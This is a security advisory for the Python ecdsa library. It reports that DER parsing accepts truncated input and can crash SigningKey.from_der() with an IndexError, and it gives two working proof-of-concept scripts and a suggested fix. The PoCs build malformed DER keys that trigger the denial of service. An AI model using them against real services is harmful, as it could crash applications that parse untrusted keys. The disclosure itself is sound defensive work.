PT-2026-59134 · Pypi · Ecdsa
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.3
Medium
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
Summary
An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.
-
ecdsa.der.remove octet string()accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. -
Because of that, a crafted DER input can cause
SigningKey.from der()to raise an internal exception (IndexError: index out of bounds on dimension 1) rather than cleanly rejecting malformed DER (e.g., raisingUnexpectedDERorValueError). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.
Impact
Potential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.
Reproduction
Attach and run the following PoCs:
poc truncated der octet.py
python
from ecdsa.der import remove octet string, UnexpectedDER
# OCTET STRING (0x04)
# Declared length: 0x82 0x10 0x00 -> 4096 bytes
# Actual body: only 3 bytes -> truncated DER
bad = b"x04x82x10x00" + b"ABC"
try:
body, rest = remove octet string(bad)
print("[BUG] remove octet string accepted truncated DER.")
print("Declared length=4096, actual body len=", len(body), "rest len=", len(rest))
print("Body=", body)
print("Rest=", rest)
except UnexpectedDER as e:
print("[OK] Rejected malformed DER:", e)- Expected: reject malformed DER when declared length exceeds available bytes
- Actual: accepts the truncated DER and returns a shorter body
- Example output:
Parsed body len= 3 rest len= 0 (while declared length is 4096)poc signingkey from der indexerror.py
python
from ecdsa import SigningKey, NIST256p
import ecdsa
print("ecdsa version:", ecdsa. version )
sk = SigningKey.generate(curve=NIST256p)
good = sk.to der()
print("Good DER len:", len(good))
def find crashing mutation(data: bytes):
b = bytearray(data)
# Try every OCTET STRING tag position and corrupt a short-form length byte
for i in range(len(b) - 4):
if b[i] != 0x04: # OCTET STRING tag
continue
L = b[i + 1]
if L >= 0x80:
# skip long-form lengths for simplicity
continue
max possible = len(b) - (i + 2)
if max possible <= 10:
continue
# Claim more bytes than exist -> truncation
newL = min(0x7F, max possible + 20)
b2 = bytearray(b)
b2[i + 1] = newL
try:
SigningKey.from der(bytes(b2))
except Exception as e:
return i, type(e). name , str(e)
return None
res = find crashing mutation(good)
if res is None:
print("[INFO] No exception triggered by this mutation strategy.")
else:
i, etype, msg = res
print("[BUG] SigningKey.from der raised unexpected exception type.")
print("Offset:", i, "Exception:", etype, "Message:", msg)- Expected: reject malformed DER with
UnexpectedDERorValueError - Actual: deterministically triggers an internal
IndexError(DoS risk) - Example output:
Result: (5, 'IndexError', 'index out of bounds on dimension 1')Suggested fix
Add “declared length must fit buffer” checks in DER helper functions similarly to the existing check in
remove sequence():remove octet string()remove constructed()remove implicit()
Additionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as
UnexpectedDER to avoid crashy failure modes.Credit
Mohamed Abdelaal (@0xmrma)
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Ecdsa